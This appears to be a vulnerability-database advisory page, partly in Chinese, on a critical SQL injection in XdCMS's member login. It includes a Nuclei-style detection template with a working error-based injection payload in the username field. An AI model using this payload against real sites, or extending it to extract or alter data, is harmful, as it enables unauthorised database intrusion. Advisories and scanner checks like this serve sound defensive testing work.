xdcms-sqli: XdCMS - SQL Injection

日期: 2025-08-01 | 影响软件: XdCMS | POC: 已公开

漏洞描述

XdCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: xdcms-sqli

info:
  name: XdCMS - SQL Injection
  author: pikpikcu
  severity: critical
  description: XdCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.uedbox.com/post/35188/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: sqli,xdcms,vuln
variables:
  num: "999999999"

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?m=member&f=login_save"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Content-Type: text/html"
        part: header

      - type: word
        words:
          - '{{md5({{num}})}}'
        part: body

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fa69fcdd4a1e3a557640e407cb7218f1e58a4d57db7be0f18931165a7d93623f022100f9b38f67708b1762bd210fb1a5256a9065e7dcb5ed87962812587fb6a12e8703:922c64590222798bb761d5b6d8e72950

相关漏洞推荐